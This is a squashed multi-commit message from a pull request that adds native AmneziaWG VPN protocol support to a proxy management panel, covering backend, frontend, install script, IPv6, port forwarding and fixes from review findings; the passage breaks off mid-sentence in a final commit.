Ver Fonte

feat(amneziawg): add native AmneziaWG protocol support (#6105)

* feat(amneziawg): add native AmneziaWG protocol backend

AmneziaWG (WireGuard plus DPI-resistant obfuscation) needs no Docker
here — it runs as a genuine kernel interface via awg-quick/awg, managed
the same way internal/mtproto manages mtg: one Inbound row is one
desired Instance, and a Manager reconciles running interfaces toward
the database every 10s (internal/web/job/amneziawg_job.go) plus
immediately after a client edit (applyLocalAmneziaWG).

Clients reuse model.Client verbatim (the same PrivateKey/PublicKey/
PreSharedKey/AllowedIPs fields WireGuard already uses), so bulk
operations, the QR/share-link modal and subscriptions come from the
shared inbound infrastructure instead of a parallel implementation.
internal/amneziawg owns the obfuscation param generator/validator
(ported from coinman-dev/3ax-ui, upgraded to AmneziaWG 2.0's S3/S4
padding and I1 signature packet) and the exec wrapper around
awg-quick/awg, with fingerprint-based reconcile (noop / reload-via-
syncconf / full restart) mirroring mtproto.Manager so a same-protocol
edit doesn't force an unnecessary interface bounce that would drop
every peer's connection.

Frontend and install.sh's DKMS/awg-tools setup are tracked separately;
this is backend-only.

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* feat(amneziawg): add frontend support and fix a Go->Zod generator gap

Wires the amneziawg protocol through the panel UI the same way every
other protocol is registered: a Zod settings schema (nested
{server, clients}, matching the Go JSON exactly), the protocol enum,
the inbound-form's per-protocol fields component and its
tab-visibility allowlist, the default-settings factory, the client
schema dispatcher, and the sniffing-capability exclusion (no Xray
inbound exists for amneziawg, same as mtproto).

Client key/allowedIPs fields are reused rather than duplicated: since
AmneziaWG clients are wire-identical to WireGuard clients (same
model.Client fields), ClientFormModal renders one shared field block
for both, switching only the visible label by which protocol is
active. The private-key input also gets a live public-key sync via a
new useEffect, because unlike WireGuard's Xray-native inbound (which
re-derives its public key at runtime and never stores one),
AmneziaWG's server.publicKey is a real persisted field the Go backend
reads directly — free-typing a new private key without this would
silently save a mismatched keypair.

Adds a downloadable per-client .conf (amneziawgConfig.ts, mirroring
wireguardConfig.ts) with the obfuscation lines, and an
InboundOption.AwgServer field on the Go side so the config builder
gets the full server block in one round trip.

Along the way, running tools/openapigen surfaced a real bug: it
doesn't flatten anonymously-embedded Go structs the way encoding/json
does, so ServerSettings embedding Obfuscation20 produced a Zod schema
with a nested `obfuscation20` key that never matches the real wire
JSON. Fixed by un-embedding (flat fields + an accessor method) and
registering internal/amneziawg in the generator's own package list,
which had been silently emitting a dangling schema reference.

English and Russian translations are complete; the other 10 locale
files still fall back to English for the new keys.

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* feat(amneziawg): complete frontend parity for the Inbounds list page

The Clients page (form, CRUD, QR/config) already worked from the
prior commit; this closes the remaining gap on the Inbounds side and
in a couple of protocol allowlists that a plain search for existing
wireguard/mtproto handling turned up.

lib/xray/inbound-link.ts gets amneziawg-specific link/config builders
(genAmneziaWGLink/genAmneziaWGConfig, plus the *s fan-out variants)
mirroring the wireguard ones — AmneziaWG has no legacy peers-array to
fall back to, so these read settings.clients directly and add the
obfuscation lines every client must share with the server. Wired into
genInboundLinks generically, and into three consumers that call the
wireguard builders directly rather than through that dispatcher:
QrCodeModal, InboundInfoModal, and InboundsPage's bulk export.

ClientInfoModal, ClientBulkAddModal, and the bulk attach/detach modals
each had their own protocol allowlist that needed amneziawg added
alongside wireguard/mtproto.

Two real gaps surfaced by grepping every remaining 'wireguard' /
Protocols.WIREGUARD hit in frontend/src rather than trusting the
checklist was exhaustive:
- useInbounds.ts's TRACKED_PROTOCOLS gates the deactive/depleted/
  expiring/online client counts shown per inbound on the list page;
  without amneziawg those counts would silently read zero.
- inbound-tag.ts is an explicit client-side mirror of the Go backend's
  port_conflict.go (the file says so itself: "Keep in sync"). It still
  only special-cased wireguard for UDP, so an amneziawg inbound would
  have fallen through to the TCP default and disagreed with the
  backend's own port-conflict math.

Also finishes translating the AmneziaWG UI strings into the 11 locale
files that were still falling back to English (ar-EG, es-ES, fa-IR,
id-ID, ja-JP, pt-BR, tr-TR, uk-UA, vi-VN, zh-CN, zh-TW), matching
en-US/ru-RU key-for-key (26 new keys, verified by count in every file).

Not run anywhere: npm run typecheck / build. This machine has neither
Node nor npm, so nothing here has compiled — reviewed by hand plus
brace/paren balance checks and cross-referencing the generated Zod/TS
types. Treat this as needing a real typecheck before shipping.

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* docs(install): note that AmneziaWG kernel module install is still manual

Tracked separately (not yet ported into this script) — see
coinman-dev/3ax-ui's install_amneziawg for the reference approach
(ppa:amnezia/ppa). Also serves as a real, path-filter-matching change
to get the previous empty commit's CI trigger to actually fire —
release.yml's push trigger is paths-scoped and an empty commit changes
no files, so it never matched.

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* feat(amneziawg): add a button to randomize obfuscation parameters

Mirrors the existing key-regenerate button next to the private key
field. Client-side randomization matches the ranges/constraints of
GenerateObfuscation20's "default" preset (internal/amneziawg/params.go)
closely enough for a form suggestion — the user can still hand-edit any
field afterward.

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* feat(install): auto-install the AmneziaWG DKMS module + amneziawg-tools

Ports install_amneziawg from coinman-dev/3ax-ui's install.sh, adapted to
this script's broader distro coverage and NONINTERACTIVE convention:

- Ubuntu/Debian/Armbian: ppa:amnezia/ppa (primary, tested path), with a
  reachability pre-check for the Launchpad PPA host — often blocked by
  hosting providers, especially Russian VPS — so a flaky network skips
  the feature instead of hanging apt through several retries.
- Fedora/RHEL-family, Arch/Manjaro/Parch: best-effort fallback to plain
  wireguard-tools (+ AUR amneziawg-dkms via yay/paru when available),
  with a manual-install pointer.
- Everything else: manual-install pointer only.

Also installs ndppd and persists IPv4/IPv6 forwarding (for the future
IPv6/NDP phase, not yet wired into the panel) and adds a Secure Boot
warning at the end of the run, since a DKMS-built module is unsigned
and won't load while it's enabled — a common trap on cloud VPS images.

Never fatal: the panel installs and runs fine either way, an AmneziaWG
inbound just won't bring up its tunnel until the module is present.

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* fix(amneziawg): resolve all 3 real CI failures (typecheck/lint/codegen)

Found by checking the fork's Actions tab after the last two pushes —
the release build passed (it doesn't run these checks) but the
separate CI workflow caught three real issues:

- golangci-lint (noctx): every internal/amneziawg/manager.go exec.Command
  call is now exec.CommandContext with a 30s timeout, so a hung
  awg-quick/awg invocation can't block the reconcile job indefinitely
  (mirrors internal/mtproto/process.go's own CommandContext usage).
- tsc --noEmit: frontend/src/schemas/client.ts's hand-maintained
  InboundOptionSchema (used by the useClients hook, separate from the
  auto-generated one in generated/) never got an awgServer field added
  when the AmneziaWG frontend work was done — every read of
  inbound.awgServer.* in amneziawgConfig.ts was typing as {}. Added
  AwgServerOptionSchema, nested (not flattened like wg*) to match what
  amneziawgConfig.ts already expects. Also guarded server.publicKey in
  inbound-link.ts's genAmneziaWGLink against the schema's optional type.
- codegen staleness: frontend/public/openapi.json is produced by a Node
  script (gen:api) this machine can't run; hand-applied the exact diff
  the CI failure log already showed (amneziawg protocol enum entry,
  ServerSettings schema, InboundOption.awgServer, one example payload),
  verified as valid JSON.

Also confirmed independently by this run: install_amneziawg (previous
commit) installed and loaded the DKMS module successfully on both amd64
and arm64 CI runners. The two "Deploy Smoke Tests" failures are
unrelated to this change — this fork has only ever published the
dev-latest pre-release, and GitHub's /releases/latest API deliberately
excludes pre-releases, so the smoke test's no-argument install path
(which resolves "latest") has nothing to find. Not a regression; needs
an actual tagged release whenever that's wanted.

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* feat(amneziawg): Phase 2a — IPv6 support + NDP proxy

Adds native dual-stack IPv6 to AmneziaWG inbounds, ported from
coinman-dev/3ax-ui's approach:

- ServerSettings gets ipv6Enabled/ipv6Subnet/ipv6ExternalInterface;
  Instance carries the server's own IPv6 address (first host of the
  subnet) alongside its IPv4 one.
- defaultAmneziaWGClients allocates an IPv6 host address per client
  (second AllowedIPs entry) when the server has IPv6 enabled, reusing
  allocateWireguardAddress — which needed a real fix along the way: it
  always suffixed "/32" regardless of address family, which is wrong
  for an IPv6 host address (needs /128). Now family-aware.
- generateServerConfig's PostUp/PostDown gains IPv6 forward-accept
  rules, proxy_ndp sysctl, and one `ip -6 neigh add/del proxy` entry per
  enabled peer with an IPv6 address — the lightweight per-client
  method, not the ndppd-daemon whole-subnet method (not worth the
  config-file-management complexity at this scale; ndppd itself is
  still installed by install.sh in case that changes later).
- ValidateIPv6Subnet rejects a malformed subnet before save.
- Frontend: ipv6Enabled/ipv6Subnet/ipv6ExternalInterface fields on the
  AmneziaWG inbound form, EN+RU translations, openapi.json/generated/*
  regenerated (the latter via `go run ./tools/openapigen`, pure Go).

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* fix(amneziawg): fill in IPv6 fields missed by the Phase 2a commit

Two real gaps the CI caught (both new fields, both my miss):

- inbound-defaults.ts's createDefaultAmneziawgInboundSettings() built a
  server object literal predating ipv6Enabled/ipv6Subnet/
  ipv6ExternalInterface — AmneziawgServer's inferred type now requires
  them (zod .default() fields are non-optional post-parse), so this
  didn't typecheck at all.
- openapi.json's ipv6Enabled property was missing the description the
  real generator attaches (the Go doc comment covering all three IPv6
  fields is attached to the first one) — a one-line diff, but git
  diff --exit-code doesn't care how small.

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* feat(amneziawg): Phase 2b — per-client port-forwarding

Admins can now set a per-client ForwardedPorts string (e.g. "80, 443,
8000-8100") that gets DNAT'd + FORWARD'd to that peer's tunnel address
via iptables rules in PostUp/PostDown, ported and simplified from
coinman-dev/3ax-ui's shared/portfwd.

Two decisions worth flagging for future readers:

- The iptables --comment tag on each rule is awg-fwd-<fnv32a(email)>,
  not the raw client email. Email is admin/API-supplied free text that
  ends up embedded in a shell-executed PostUp/PostDown line; a hash
  can never carry a shell metacharacter through where raw
  interpolation could.
- The reconcile manager gained a third fingerprint (portFwdFP, next to
  the existing structural/peers ones). `awg syncconf` only touches the
  WireGuard peer table — it never re-applies PostUp/PostDown iptables
  rules — so a port-forward-only change has to force a full
  awg-quick down+up bounce, same as a structural change, rather than
  the lighter sync a plain peer add/remove can use.

Also fixes a real pre-existing bug found while wiring up IPv6 client
allocation in the previous commit's spirit: allocateWireguardAddress
always suffixed "/32" regardless of address family, which produced
invalid host bits for IPv6 (needs "/128").

ForwardedPorts flows through model.Client -> model.ClientRecord
(gorm column wg_forwarded_ports, auto-migrated) -> ToRecord/ToClient/
MergeClientRecord, mirroring the awgServer field's earlier lesson
that new fields need checking against a second, hand-maintained
persistence-layer struct.

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* feat(amneziawg): route a client's traffic through Xray via the Routing page

Every enabled AmneziaWG inbound gets its own Xray TPROXY bridge
automatically, with no toggle to enable first: a loopback
dokodemo-door inbound (sockopt.tproxy) tagged with the AmneziaWG
inbound's own real tag, so it's already selectable in the existing
Routing page's inbound-tag picker — the same trick the mtproto
sidecar's own bridge already relies on (InboundService.GetInboundTags
is a plain, protocol-blind SELECT over every inbound row's tag, no
dedicated UI plumbing needed).

internal/amneziawg's defaultPostUpDown TPROXYs every peer's traffic
into that bridge unconditionally; the bridge's port is derived
deterministically from the inbound's id (EgressPortForInbound) so the
kernel-side reconcile loop and the Xray-config generator never need to
negotiate a runtime value between them.

injectAmneziawgEgress never generates a routing rule itself — whether
a client's traffic goes anywhere beyond Xray's default routing is
entirely up to whatever rules the admin adds through the existing
Routing UI (pick the AmneziaWG inbound's tag as source, optionally a
specific peer's IP via that page's own Source-IP field, and an
outbound), exactly the same workflow as routing any other protocol.

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* fix(amneziawg): recover orphaned interfaces after an ungraceful exit

Two gaps left an AmneziaWG interface stuck outside the manager's
control after a crash (kill -9/OOM/panic skips StopAll):

- ensureRestart's teardown was gated on the in-memory `exists` map,
  which is always empty on a fresh process, so a survived interface
  never got interfaceDown before interfaceUp tried `ip link add`
  against a name the kernel already had — failing forever and never
  populating m.ifaces, so traffic accounting silently stopped and the
  inbound could never be removed. Gate on isInterfaceUp instead, which
  checks real kernel state rather than this process's own bookkeeping.

- An inbound deleted from the database entirely while the panel was
  down has no entry in `desired` ever again, so it never reaches the
  per-id cleanup loop in Reconcile (which only walks m.ifaces). Add a
  one-time sweepOrphansLocked scan of configDir, mirroring
  mtproto.Manager.sweepOrphansLocked, that tears down and removes any
  leftover interface/config not in the current desired set.

Found by the automated review on MHSanaei/3x-ui#6105 (Finding 1).

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* i18n(amneziawg): backfill IPv6/obfuscation/port-forwarding keys in 11 locales

Only en-US/ru-RU ever got these 9 keys as each AmneziaWG feature landed
(the regenerate-obfuscation button, then Phase 2a's IPv6 fields, then
Phase 2b's per-client ForwardedPorts) — the other 11 locale files were
never backfilled, so i18next has been silently falling back to English
for all of them since Phase 1. Cosmetic-only (never broke anything),
but now closed for every shipped locale.

* fix(amneziawg): resolve 7 Medium findings from the automated PR review

Each is independently reproducible; fixed together since one review pass
found all of them.

- manager.go: the shared "ip rule add fwmark" policy route had no
  existence check, so it duplicated in "ip rule show" on every interface
  bounce (which hostRulesFingerprint forces on any client add/remove/
  re-IP). Now checked via "ip rule list | grep -q ..." first. (Finding 2)

- params.go: ExternalInterface, IPv6ExternalInterface, and subnetIp/
  subnetCidr are interpolated unescaped into a shell-executed PostUp/
  PostDown line, but only obfuscation and the IPv6 subnet were validated
  before save. Added ValidateInterfaceName (a strict charset+length
  pattern) and ValidateSubnetIPv4 (netip.ParsePrefix), wired into
  normalizeAmneziaWGSettings. (Finding 3)

- amneziawg_job.go: IsAwgInstalled() existed but nothing ever called it,
  so a host without awg/awg-quick (the Docker image, RHEL, Arch, a failed
  install.sh PPA step) logged a reconcile failure every 10s forever. Now
  checked once an inbound actually needs it, warning once instead of
  spamming. (Finding 4)

- client_inbound_apply.go: the WireGuard/AmneziaWG credential
  carry-forward (added so a metadata-only client edit doesn't rotate
  keys) never covered ForwardedPorts, so a partial edit -- an API call or
  Telegram-bot toggle that omits the field -- silently wiped a client's
  port-forwarding spec. Carried forward and written back the same way the
  key fields already are. (Finding 5)

- manager.go: hostRulesFingerprint keyed each peer on its IPv4 address
  only, and structuralFingerprint omitted IPv6Enabled/IPv6ExternalInterface
  entirely, so an IPv6-only change could pick the syncconf reload path
  (which never re-runs PostUp, leaving a stale NDP-proxy entry) or be a
  complete no-op. Both fingerprints now cover the IPv6 fields. (Finding 6)

- port_conflict.go: the AmneziaWG egress bridge (injectAmneziawgEgress)
  binds 127.0.0.1:63100+id with no collision check anywhere, since it
  isn't a database row the ordinary port-conflict query can see -- same
  blind spot the reserved Xray API port already has its own check for.
  Added the equivalent check for the AmneziaWG bridge port. (Finding 7)

- install.sh: install_amneziawg ran unconditionally for every install/
  update, building a DKMS kernel module and enabling host-wide IPv4/IPv6
  forwarding whether or not the feature is ever used. Gated behind a new
  should_install_amneziawg (XUI_INSTALL_AMNEZIAWG=true/false, or an
  interactive y/N prompt defaulting to no). Also replaced the deprecated
  apt-key adv with a dedicated keyring + signed-by= on the Debian branch,
  and guarded its sources.list appends against duplication on a retried
  install. (Finding 8)

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* feat(amneziawg): make the Xray TPROXY bridge a per-inbound opt-in

Addresses Finding 10 from the automated PR review: an always-on TPROXY
bridge makes every AmneziaWG tunnel hard-depend on Xray being up (all
traffic, including DNS, drops whenever Xray restarts), and forces a full
awg-quick down+up bounce on any client add/remove/re-IP, permanently
losing the syncconf fast path.

Adds ServerSettings.RouteThroughXray (off by default):

- defaultPostUpDown only emits the TPROXY/policy-route rules when it's
  on; a plain AmneziaWG tunnel now has zero Xray dependency out of the
  box.
- structuralFingerprint covers it (toggling it changes whether PostUp/
  PostDown contain any TPROXY rules at all -- structural, not a
  per-peer host-rule). hostRulesFingerprint's IPv4 tracking is now
  itself conditional on RouteThroughXray (and IPv6 tracking on
  IPv6Enabled), so an instance that never uses either keeps the
  syncconf fast path for a plain peer re-IP.
- injectAmneziawgEgress only creates a bridge for inbounds that opted
  in; checkAmneziawgEgressConflict (the Finding-7 fix) now parses each
  candidate through InstanceFromInbound so a non-routed inbound's port
  is correctly never treated as reserved.
- New inbound-level Switch in the AmneziaWG form; the actual outbound
  decision is still made entirely through the panel's stock Routing
  page, same as before -- only whether the bridge exists at all is now
  a choice.

Translation keys added to all 13 locales in the same commit this time,
not backfilled later (see Finding 9's lesson).

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* fix(amneziawg): resolve 4 Low findings from the automated PR review

- manager.go: serverAddress assumed subnetIp always ends in ".0"; a
  base like "10.8.1.5" was used verbatim as the server's own address,
  eventually colliding with peer allocation (which starts at .2
  upward). Now derives the first host of the actual subnetIp/subnetCidr
  network via netip, matching serverAddressV6's own approach. A /32
  base (no host bits at all) is still used as-is. (Finding 12, partial
  -- the /16 pool-widening half of this finding only exists on the
  upstream-pr/amneziawg branch's merged client_wireguard.go, not here;
  handled separately on that branch.)

- manager.go: ensureLocked carried the previous per-peer traffic
  counters (`last`) forward even through a full restart, but
  awg-quick down+up resets the kernel's own counters to zero -- the
  next CollectTraffic computed a large negative delta (clamped to 0),
  silently discarding real traffic. Extracted the decision into
  nextTrafficBaseline: only a reload (syncconf) preserves the
  baseline. (Finding 13)

- portfwd.go: exported ForwardedPortsInclude; inbound_amneziawg.go's
  new checkForwardedPortsConflict uses it to reject, at save time, a
  client's forwardedPorts that would DNAT the panel's own port or
  another enabled inbound's port to the tunnel client --
  portForwardLines has no destination restriction, so this collision
  was previously silent. Wired into both the single-client update path
  and the add-client path (client_inbound_apply.go), plus
  normalizeAmneziaWGSettings for the whole-inbound save path. (Finding 14)

- inbound.go: InboundOption.AwgServer sent the whole ServerSettings
  struct including PrivateKey to GetInboundOptions callers -- a
  shared, admin-wide dropdown-filling endpoint the frontend's own
  AwgServerOptionSchema never reads that field from. Redacted it
  before assigning. (Finding 11)

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* fix(amneziawg): don't widen the peer address pool past AmneziaWG's own subnet

Completes Finding 12 from the automated PR review (the serverAddress half
of this finding was already fixed on main and cherry-picked here). This
half is specific to this branch: allocateWireguardAddress's /16
pool-widening fallback is an independent addition from upstream's own
main that this branch inherited during the cherry-pick rebase -- it
doesn't exist on the fork's own main at all, so this fix can't be
cherry-picked the normal way and is committed directly here.

Widening is safe for WireGuard's own Xray-native inbound (AllowedIPs
isn't tied to a strict kernel interface subnet), but AmneziaWG's kernel
interface Address is exactly the configured subnet -- an address
allocated from the containing /16 once the /24 fills up would be
silently unroutable. allocateWireguardAddress now takes an explicit
allowWidening bool: WireGuard's own caller passes true (unchanged
behavior), AmneziaWG's passes false (fails loudly on exhaustion instead).

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* docs(docker): note that AmneziaWG doesn't work in this image

Investigated: the image is Alpine-based, and AmneziaWG's own packaging
(DKMS module + amneziawg-tools) doesn't target Alpine/musl at all --
unlike the Debian/Ubuntu/Fedora/Arch paths install.sh already handles,
there's no package to apk add even with full host network/capabilities.
The panel already degrades gracefully (IsAwgInstalled() logs one warning
instead of retrying forever), so no code change is needed -- just made
the reason explicit at the point where a user would reach for cap_add/
network_mode to try to work around it.

* fix(sub): include amneziawg inbounds in subscription links

getInboundsBySubId's SQL protocol allowlist never had 'amneziawg' added,
so every AmneziaWG client was silently excluded from all three
subscription formats (plain/individual links, JSON, Clash) and from the
Telegram bot's QR/individual-link buttons, which fetch through the same
path. genAmneziaWGLink itself was already fully implemented and already
wired into GetLink's dispatch switch -- it just never got a chance to
run. Same bug shape as the earlier TRACKED_PROTOCOLS frontend gap: a
hardcoded protocol list one entry short.

Found while investigating whether the Telegram bot needed AmneziaWG-
specific client-management code -- it doesn't (the bot itself is fully
protocol-agnostic), but this is the actual root cause of "can't share
an AmneziaWG client's config via the bot."

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* fix(inbound): enforce node-eligibility server-side, not just in the UI

Investigated multi-node interaction with AmneziaWG: the master's own
reconcile (DesiredAmneziaWGInstances) and Xray config generation
(injectAmneziawgEgress, the GenXrayInboundConfig protocol skip) all
correctly filter on NodeID IS NULL, so a node-assigned AmneziaWG (or
MTProto) inbound would never be managed by the master. But nothing
stopped one from being created that way: NODE_ELIGIBLE_PROTOCOLS
(frontend/src/pages/inbounds/form/InboundFormModal.tsx) only hides the
node picker client-side -- a direct API call could set nodeId on an
AmneziaWG inbound, which every node then reconciles as an ordinary
local inbound (nodes run the identical binary, full cron suite
included), leaving it running unmanaged and untracked by the master's
own AmneziaWG bookkeeping.

Added isNodeEligibleProtocol (inbound_protocol.go), mirroring the
frontend's allowlist, and enforced it in both AddInbound (the actually
exploitable path -- nodeId comes straight from the request) and
UpdateInbound (defense in depth; NodeID is already restored from the
stored row there before this check, so it mainly guards against a
protocol change on an existing node-hosted inbound).

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* fix(amneziawg): allow TPROXY-marked traffic through a default-deny INPUT chain

TPROXY never rewrites a packet's own destination address, only the routing
decision. A default-deny firewall whose INPUT chain sanity-checks "is this
destination actually local" (UFW's ufw-not-local, via addrtype --dst-type
LOCAL, is a concrete example) silently drops the redirected packet before
Xray's socket ever sees it -- RouteThroughXray looked fully configured
(TPROXY rule present and counting, Xray listening with IP_TRANSPARENT set)
yet every peer's traffic vanished with no trace on either side.

Adds an idempotent, never-torn-down "iptables -I INPUT 1 -m mark --mark
<fwmark> -j ACCEPT" alongside the existing shared policy route, so this
works regardless of which firewall manager owns the rest of the INPUT chain.

* fix(frontend): give AmneziaWG the same UDP tag and its own tag color

The Inbounds list only special-cased isWireguard/isHysteria for the "UDP"
network badge, so an AmneziaWG row showed just the bare protocol tag with
no transport badge next to it. Added the missing isAmneziawg flag (mirrors
isWireguard exactly) and wired it into the same branch.

Client-row protocol-color maps in ClientsPage/HostList had no amneziawg
entry, silently falling back to grey -- ClientInfoModal already had
amneziawg: 'yellow' from earlier work, these two just never got it.

* feat(logs): show which AmneziaWG client an access-log line belongs to

The dokodemo-door TPROXY bridge every AmneziaWG peer's traffic is routed
through has no per-user identity, so Xray's own access log never carries an
"email:" token for these lines -- the Access Logs modal showed a blank
Email column for every in-*-udp row, even though every other protocol's
rows show the client normally.

The peer's decapsulated tunnel IP does survive as the log's "from" address,
and that IP deterministically maps to exactly one configured peer. Builds a
"<inbound tag>|<ip>" -> email index from the same AmneziaWG inbounds already
parsed elsewhere (amneziawg.InstanceFromInbound), and fills in Email from it
whenever the raw log line didn't have one.

* fix(amneziawg): enable sniffing on the TPROXY bridge

Domain-based Routing rules could never match RouteThroughXray traffic: an
AmneziaWG peer resolves DNS itself, through the tunnel, before ever sending
a packet, so the decapsulated traffic TPROXY hands to the bridge is already
a bare destination IP with no domain name attached at the network layer.
Every other inbound recovers this via sniffing (confirmed working for the
stock wireguard inbound, which does have it configured); the bridge never
got a sniffing block at all, so only tag/IP/network-based rules could ever
match it -- any domain rule above it in the list was silently unreachable.

* docs: add an AmneziaWG config page and list it as a supported protocol

Closes the PR checklist gap: the feature shipped with zero mention on
the docs site. Mirrors reality.mdx's structure (key settings, setup
steps, config excerpt) and notes the Docker/multi-node/Telegram-bot
caveats the PR itself is honest about not having confirmed.

* fix: address the fresh review round on PR #6105 (8 findings)

1. hostRulesFingerprint didn't account for ForwardedPorts when
   RouteThroughXray was off, so re-IPing a peer with port-forwarding
   configured left stale DNAT rules pointing at an address the next
   peer could be handed.
2. Server/client config values (keys, email, I1) were never validated
   for control characters before being written into the generated
   .conf; a newline could smuggle a PostUp hook into awg-quick's
   parser. Added ValidateConfigValue at save time and a
   sanitizeConfigValue backstop at render time.
3. checkForwardedPortsConflict didn't scope to node_id IS NULL, so a
   port used only on a different node produced a false collision; also
   hoisted the panel-port/inbounds lookup out of the per-client loop
   (portConflictContext) so N clients cost one query, not N.
4. PostDown commands were ";"-joined and abort on the first failure;
   appendOrTrue makes teardown best-effort so an external firewall
   flush can't leave DNAT rules to accumulate across bounces.
5. The "ip rule list | grep -q" existence check could SIGPIPE under
   pipefail and re-add a duplicate rule; switched to grep -c >/dev/null.
6. Ported the vpn:// share-link format (base64url of the plain .conf
   text, matching the real AmneziaVPN app) onto this branch -- it had
   only ever landed on our own fork's main, so this PR branch was still
   on the old amneziawg://+query-params scheme our own docs no longer
   described. Also corrected the docs' install.sh claim (opt-in/
   interactive, not automatic) and stale pre-opt-in comments in
   route_egress.go.
7. install.sh: Arch's ndppd install used pacman -Syu (full system
   upgrade) instead of -Sy like every other call in the script; and
   should_install_amneziawg re-prompted on every `x-ui update` even
   when awg was already installed.
8. CollectTraffic could clobber a concurrent restart's freshly-reset
   (empty) traffic baseline with stale pre-restart counters, since
   getPeerStats runs lock-free; now checks pointer identity before
   writing back. sweepOrphansLocked permanently disabled itself on a
   transient os.ReadDir failure instead of allowing a retry.

go build/vet/test and frontend typecheck/lint/build/vitest all pass.

* fix(install.sh): check the live sysctl value, not sysctl.conf text

Reviewer feedback (cherts, PR #6105): grepping /etc/sysctl.conf for the
setting name is unreliable -- many distros split sysctl config across
/etc/sysctl.d/*.conf, and /etc/sysctl.conf can be a symlink into that
directory, so the check can miss an already-active setting (harmless
duplicate append) or match a disabled/commented line (forwarding
silently stays off). Query the live value via `sysctl -n` instead,
which is accurate regardless of which file set it. Applied the same
fix to both the IPv6 and IPv4 checks for consistency.

* fix: update inbound_amneziawg.go to the split buildInboundForLocalRuntime

Same fork-only-file blind spot as the one caught on our own main after
the 3.6.0 sync: upstream split buildRuntimeInboundForAPI into
buildInboundForNodePush / buildInboundForLocalRuntime (part of the
node-sync client-deletion fix, 5bc81dfd), updating every call site it
could see. This file doesn't exist upstream, so it kept calling the
old name even after the branch merged in that commit.

* fix(frontend): recognize AmneziaWG's vpn:// scheme in share-link labels

The shared link-tag/label helper (used by the client info modal, QR
modal, and subscription page) had no entry for the vpn:// scheme
AmneziaWG links use, so it fell through to the generic fallback: a
plain "Vpn" tag with no color, and an empty remark/port that made the
row's title fall back to "Link N" instead of the inbound's actual
name:port — unlike every other protocol, which shows its real tag and
label.

vpn:// links are base64url of a plain .conf text (matching the real
AmneziaVPN app's own share-link format), not a structured URL, so
there's no query string or #hash to read a remark/port from. Decode
the payload and pull the remark/endpoint back out of the .conf text
directly instead.

* fix(xray): force a full restart for TPROXY inbounds, never hot-add them

Real incident: an AmneziaWG inbound with RouteThroughXray enabled lost
all internet on that connection after a migration. Root-caused on the
live box -- iptables TPROXY counters were incrementing (packets
correctly redirected to 127.0.0.1:63110), but nothing was actually
listening there (ss showed nothing on that port) until a full
`systemctl restart x-ui`, after which the bridge came up immediately.

Xray-core's gRPC AddInbound reports success for a new sockopt.tproxy
inbound (internal/amneziawg's own Xray egress bridge is the only kind
this fork ever generates) but doesn't reliably bind a working listener
for it outside of process startup -- the bridge silently never comes
up, and RouteThroughXray traffic goes nowhere until the next full
restart happens to occur for an unrelated reason.

diffInbounds already has this exact defensive pattern for REALITY
inbounds ("a gRPC remove+add does not reliably rebuild the REALITY
authenticator"), just never extended to TPROXY, and only in the
already-existing-then-changed branch -- the "brand new inbound" branch
had no such guard at all, which is exactly the path a freshly-enabled
RouteThroughXray bridge takes. Added inboundUsesTproxy and wired it
into both branches.

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* fix(amneziawg): flag Xray for resync when a peer edit changes qualifying state

Real production bug, root-caused on iiadmin-vps: updateAmneziaWGInbound/
AddInbound/DelInbound only ever updated the kernel interface via
amneziawg.GetManager() -- they never called SetNeedRestart the way every
other protocol's mutation path does (client_crud.go, inbound.go, etc. all
do). injectAmneziawgEgress's TPROXY bridge inbound depends on
InstanceFromInbound finding at least one qualifying peer plus
RouteThroughXray, so an edit that flips that (first peer added, last one
removed, RouteThroughXray toggled on) previously required a full panel
restart before the bridge actually got created, with no error anywhere:
the kernel interface would handshake fine, but traffic redirected into the
bridge's TPROXY port went nowhere because nothing was listening there.

diffInbounds/inboundUsesTproxy already correctly force a full restart for
a brand new TPROXY inbound (bdee0a20) -- that part was never the bug. The
gap was entirely upstream: nothing ever told Xray a resync was even needed.

* fix(clients): reject AllowedIPs already used on another WireGuard/AmneziaWG inbound

defaultWireguardClients/defaultAmneziaWGClients only ever checked uniqueness
against their own inbound's client list, so two inbounds sharing a subnet
(same protocol or not) could silently hand out or accept the same address --
the exact scenario behind a real duplicate-IP incident where a WireGuard and
an AmneziaWG client both ended up on the same address. otherTunnelAllowedIPs
now collects every address already claimed on every other tunnel inbound and
folds it into both the auto-allocation pool and the manual-entry collision
check, naming the other inbound in the error when it fires.

* fix(frontend): add the missing AmneziaWG config download on the sub page

The subscription page already gave WireGuard links their own "Config"
block (copy/download/QR of the actual .conf, via wireguardConfigFromLink
reversing the wireguard:// query params) but had no equivalent for
AmneziaWG's vpn:// links -- its isWireguardLink gate never matched them,
and no reverse-parse helper existed for this page specifically. Every
other surface (InboundInfoModal, ClientInfoModal, ClientQrModal) already
had this parity; this was the one page that didn't.

Fixed by adding amneziawgConfigFromLink (inbound-link.ts), simpler than
its WireGuard counterpart since a vpn:// payload already *is* the plain
.conf text -- just base64url-decode it, no query-param reconstruction
needed -- and wiring it into SubPage.tsx alongside the existing WireGuard
block, reusing the same pages.clients.amneziaWgConfig label the other
three surfaces already use.

* fix(xray): force a full restart for password-auth SOCKS5 hot-apply

Real production incident: editing a client under an AmneziaWG inbound
left its embedded SOCKS5 relay's settings byte-different (a new account
list), and Xray's gRPC remove+add hot swap silently dropped the account
for a peer whose email contained non-ASCII characters -- its tunnel kept
handshaking fine but all its traffic got rejected at the SOCKS5 layer,
while every other peer on the same relay was unaffected. A full restart
(reading the same JSON straight from disk) always produced the correct
account list. socks isn't in userDiffableProtocols (that only covers
